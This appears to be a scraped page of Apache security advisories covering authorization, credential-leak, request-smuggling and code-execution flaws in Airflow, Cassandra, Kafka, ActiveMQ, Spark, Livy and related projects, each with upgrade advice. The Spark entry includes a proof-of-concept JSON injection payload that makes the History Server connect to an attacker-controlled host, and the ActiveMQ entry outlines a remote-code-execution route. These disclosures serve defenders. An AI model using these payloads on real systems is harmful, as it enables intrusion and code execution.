When user logged out, the JWT token the user had authtenticated with was not invalidated, which could lead to reuse of that token in case it was intercepted. In Airflow 3.2 we implemented the mechanism that implements to...Show moreWhen user logged out, the JWT token the user had authtenticated with was not invalidated, which could lead to reuse of that token in case it was intercepted. In Airflow 3.2 we implemented the mechanism that implements token invalidation at logout. Users who are concerned about the logout scenario and possibility of intercepting the tokens, should upgrade to Airflow 3.2+
Users are recommended to upgrade to version 3.2.0, which fixes this issue.Show less |
Apache Airflow versions 3.0.0 through 3.1.8 DagRun wait endpoint returns XCom result values even to users who only have DAG Run read permissions, such as the Viewer role.This behavior conflicts with the FAB RBAC model, w...Show moreApache Airflow versions 3.0.0 through 3.1.8 DagRun wait endpoint returns XCom result values even to users who only have DAG Run read permissions, such as the Viewer role.This behavior conflicts with the FAB RBAC model, which treats XCom as a separate protected resource, and with the security model documentation that defines the Viewer role as read-only.
Airflow uses the FAB Auth Manager to manage access control on a per-resource basis. The Viewer role is intended to be read-only by default, and the security model documentation defines Viewer users as those who can inspect DAGs without accessing sensitive execution results.
Users are recommended to upgrade to Apache Airflow 3.2.0 which resolves this issue.Show less |
An Exposure of Sensitive Information to an Unauthorized Actor vulnerability exists in Apache DolphinScheduler.
This vulnerability may allow unauthorized actors to access sensitive information, including database credent...Show moreAn Exposure of Sensitive Information to an Unauthorized Actor vulnerability exists in Apache DolphinScheduler.
This vulnerability may allow unauthorized actors to access sensitive information, including database credentials.
This issue affects Apache DolphinScheduler versions 3.1.*.
Users are recommended to upgrade to:
* version ≥ 3.2.0 if using 3.1.x
As a temporary workaround, users who cannot upgrade immediately may restrict the exposed management endpoints by setting the following environment variable:
```
MANAGEMENT_ENDPOINTS_WEB_EXPOSURE_INCLUDE=health,metrics,prometheus
```
Alternatively, add the following configuration to the application.yaml file:
```
management:
endpoints:
web:
exposure:
include: health,metrics,prometheus
```
This issue has been reported as CVE-2023-48796:
https://cveprocess.apache.org/cve5/CVE-2023-48796Show less |
Authenticated DoS over CQL in Apache Cassandra 4.0, 4.1, 5.0 allows authenticated user to raise query latencies via repeated password changes.
Users are recommended to upgrade to version 4.0.20, 4.1.11, 5.0.7, which fixe...Show moreAuthenticated DoS over CQL in Apache Cassandra 4.0, 4.1, 5.0 allows authenticated user to raise query latencies via repeated password changes.
Users are recommended to upgrade to version 4.0.20, 4.1.11, 5.0.7, which fixes this issue.Show less |
Sensitive Information Leak in cqlsh in Apache Cassandra 4.0 allows access to sensitive information, like passwords, from previously executed cqlsh command via ~/.cassandra/cqlsh_history local file access.
Users are rec...Show moreSensitive Information Leak in cqlsh in Apache Cassandra 4.0 allows access to sensitive information, like passwords, from previously executed cqlsh command via ~/.cassandra/cqlsh_history local file access.
Users are recommended to upgrade to version 4.0.20, which fixes this issue.
--
Description: Cassandra's command-line tool, cqlsh, provides a command history feature that allows users to recall previously executed commands using the up/down arrow keys. These history records are saved in the ~/.cassandra/cqlsh_history file in the user's home directory.
However, cqlsh does not redact sensitive information when saving command history. This means that if a user executes operations involving passwords (such as logging in or creating users) within cqlsh, these passwords are permanently stored in cleartext in the history file on the disk.Show less |
Privilege escalation in Apache Cassandra 5.0 on an mTLS environment using MutualTlsAuthenticator allows a user with only CREATE permission to associate their own certificate identity with an arbitrary role,
including a s...Show morePrivilege escalation in Apache Cassandra 5.0 on an mTLS environment using MutualTlsAuthenticator allows a user with only CREATE permission to associate their own certificate identity with an arbitrary role,
including a superuser role, and authenticate as that role via ADD IDENTITY.
Users are recommended to upgrade to version 5.0.7+, which fixes this issue.Show less |
A race condition in the Apache Kafka Java producer client’s buffer pool management can cause messages to be silently delivered to incorrect topics.
When a produce batch expires due to delivery.timeout.ms while a network...Show moreA race condition in the Apache Kafka Java producer client’s buffer pool management can cause messages to be silently delivered to incorrect topics.
When a produce batch expires due to delivery.timeout.ms while a network request containing that batch is still in flight, the batch’s ByteBuffer is prematurely deallocated and returned to the buffer pool. If a subsequent producer batch—potentially destined for a different topic—reuses this freed buffer before the original network request completes, the buffer contents may become corrupted. This can result in messages being delivered to unintended topics without any error being reported to the producer.
Data Confidentiality:
Messages intended for one topic may be delivered to a different topic, potentially exposing sensitive data to consumers who have access to the destination topic but not the intended source topic.
Data Integrity:
Consumers on the receiving topic may encounter unexpected or incompatible messages, leading to deserialization failures, processing errors, and corrupted downstream data.
This issue affects Apache Kafka versions ≤ 3.9.1, ≤ 4.0.1, and ≤ 4.1.1.
Kafka users are advised to upgrade to 3.9.2, 4.0.2, 4.1.2, 4.2.0, or later to address this vulnerability.Show less |
Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ.
Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/...Show moreImproper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ.
Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including
BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String).
An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext.
Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec().
This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ All: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: before 5.19.4, from 6.0.0 before 6.2.3.
Users are recommended to upgrade to version 5.19.4 or 6.2.3, which fixes the issueShow less |
Improper validation and restriction of a classpath path name vulnerability in
Apache ActiveMQ Client, Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ Web, Apache ActiveMQ.
In two instances (when creati...Show moreImproper validation and restriction of a classpath path name vulnerability in
Apache ActiveMQ Client, Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ Web, Apache ActiveMQ.
In two instances (when creating a Stomp consumer and also browsing messages in the Web console) an authenticated user provided "key" value could be constructed to traverse the classpath due to path concatenation. As a result, the application is exposed to a classpath path resource loading vulnerability that could potentially be chained together with another attack to lead to exploit.
This issue affects Apache ActiveMQ Client: before 5.19.3, from 6.0.0 before 6.2.2; Apache ActiveMQ Broker: before 5.19.3, from 6.0.0 before 6.2.2; Apache ActiveMQ All: before 5.19.3, from 6.0.0 before 6.2.2; Apache ActiveMQ Web: before 5.19.3, from 6.0.0 before 6.2.2; Apache ActiveMQ: before 5.19.3, from 6.0.0 before 6.2.2.
Users are recommended to upgrade to version 5.19.4 or 6.2.3, which fixes the issue. Note: 5.19.3 and 6.2.2 also fix this issue, but that is limited to non-Windows environments due to a path separator resolution bug fixed in 5.19.4 and 6.2.3.Show less |
Apache Traffic Server allows request smuggling if chunked messages are malformed.
This issue affects Apache Traffic Server: from 9.0.0 through 9.2.12, from 10.0.0 through 10.1.1.
Users are recommended to upgrade to ve...Show moreApache Traffic Server allows request smuggling if chunked messages are malformed.
This issue affects Apache Traffic Server: from 9.0.0 through 9.2.12, from 10.0.0 through 10.1.1.
Users are recommended to upgrade to version 9.2.13 or 10.1.2, which fix the issue.Show less |
A bug in POST request handling causes a crash under a certain condition.
This issue affects Apache Traffic Server: from 10.0.0 through 10.1.1, from 9.0.0 through 9.2.12.
Users are recommended to upgrade to version 10.1...Show moreA bug in POST request handling causes a crash under a certain condition.
This issue affects Apache Traffic Server: from 10.0.0 through 10.1.1, from 9.0.0 through 9.2.12.
Users are recommended to upgrade to version 10.1.2 or 9.2.13, which fix the issue.
A workaround for older versions is to set proxy.config.http.request_buffer_enabled to 0 (the default value is 0).Show less |
Improper Certificate Validation vulnerability in Apache Airflow Provider for Databricks. Provider code did not validate certificates for connections to Databricks back-end which could result in a man-of-a-middle attack t...Show moreImproper Certificate Validation vulnerability in Apache Airflow Provider for Databricks. Provider code did not validate certificates for connections to Databricks back-end which could result in a man-of-a-middle attack that traffic is intercepted and manipulated or credentials exfiltrated w/o notice.
This issue affects Apache Airflow Provider for Databricks: from 1.10.0 before 1.12.0.
Users are recommended to upgrade to version 1.12.0, which fixes the issue.Show less |
Incorrect Authorization (CWE-863) vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that...Show moreIncorrect Authorization (CWE-863) vulnerability in Apache Artemis, Apache ActiveMQ Artemis exists when an application using the OpenWire protocol attempts to create a non-durable JMS topic subscription on an address that doesn't exist with an authenticated user which has the "createDurableQueue" permission but does not have the "createAddress" permission and address auto-creation is disabled. In this circumstance, a temporary address will be created whereas the attempt to create the non-durable subscription should instead fail since the user is not authorized to create the corresponding address. When the OpenWire connection is closed the address is removed.
This issue affects Apache Artemis: from 2.50.0 through 2.52.0; Apache ActiveMQ Artemis: from 2.0.0 through 2.44.0.
Users are recommended to upgrade to version 2.53.0, which fixes the issue.Show less |
Apache Airflow versions 3.1.0 through 3.1.7 missing authorization vulnerability in the Execution API's Human-in-the-Loop (HITL) endpoints that allows any authenticated task instance to read, approve, or reject HITL workf...Show moreApache Airflow versions 3.1.0 through 3.1.7 missing authorization vulnerability in the Execution API's Human-in-the-Loop (HITL) endpoints that allows any authenticated task instance to read, approve, or reject HITL workflows belonging to any other task instance.
Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.Show less |
Apache Airflow versions 3.1.0 through 3.1.7 session token (_token) in cookies is set to path=/ regardless of the configured [webserver] base_url or [api] base_url.
This allows any application co-hosted under the same dom...Show moreApache Airflow versions 3.1.0 through 3.1.7 session token (_token) in cookies is set to path=/ regardless of the configured [webserver] base_url or [api] base_url.
This allows any application co-hosted under the same domain to capture valid Airflow session tokens from HTTP request headers, allowing full session takeover without attacking Airflow itself.
Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.Show less |
Apache Airflow versions 3.1.0 through 3.1.7 /ui/dependencies endpoint returns the full DAG dependency graph without filtering by authorized DAG IDs. This allows an authenticated user with only DAG Dependencies permission...Show moreApache Airflow versions 3.1.0 through 3.1.7 /ui/dependencies endpoint returns the full DAG dependency graph without filtering by authorized DAG IDs. This allows an authenticated user with only DAG Dependencies permission to enumerate DAGs they are not authorized to view.
Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.Show less |
Apache Airflow versions 3.0.0 through 3.1.7 FastAPI DagVersion listing API does not apply per-DAG authorization filtering when the request is made with dag_id set to "~" (wildcard for all DAGs). As a result, version meta...Show moreApache Airflow versions 3.0.0 through 3.1.7 FastAPI DagVersion listing API does not apply per-DAG authorization filtering when the request is made with dag_id set to "~" (wildcard for all DAGs). As a result, version metadata of DAGs that the requester is not authorized to access is returned.
Users are recommended to upgrade to Apache Airflow 3.1.8 or later, which resolves this issue.Show less |
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code e...Show moreThis issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.
Summary
Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.
Details
The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.
The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.
Proof of Concept:
1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).
2. Inject the following JSON at the beginning of an event log file:
{
"Event": "org.apache.hive.jdbc.HiveConnection",
"uri": "jdbc:hive2://<IP>:<PORT>/",
"info": {
"hive.metastore.uris": "thrift://<IP>:<PORT>"
}
}
3. Start the Spark History Server with logs pointing to the modified directory.
4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
Impact
An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.Show less |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Livy.
This issue affects Apache Livy: from 0.3.0 before 0.9.0.
The vulnerability can only be exploited with non-def...Show moreImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Livy.
This issue affects Apache Livy: from 0.3.0 before 0.9.0.
The vulnerability can only be exploited with non-default Apache Livy Server settings. If the configuration value "livy.file.local-dir-whitelist" is set to a non-default value, the directory checking can be bypassed.
Users are recommended to upgrade to version 0.9.0, which fixes the issue.Show less |
Malicious configuration can lead to unauthorized file access in Apache Livy.
This issue affects Apache Livy 0.7.0 and 0.8.0 when connecting to Apache Spark 3.1 or later.
A request that includes a Spark configuration va...Show moreMalicious configuration can lead to unauthorized file access in Apache Livy.
This issue affects Apache Livy 0.7.0 and 0.8.0 when connecting to Apache Spark 3.1 or later.
A request that includes a Spark configuration value supported from Apache Spark version 3.1 can lead to users gaining access to files they do not have permissions to.
For the vulnerability to be exploitable, the user needs to have access to Apache Livy's REST or JDBC interface and be able to send requests with arbitrary Spark configuration values.
Users are recommended to upgrade to version 0.9.0 or later, which fixes the issue.Show less |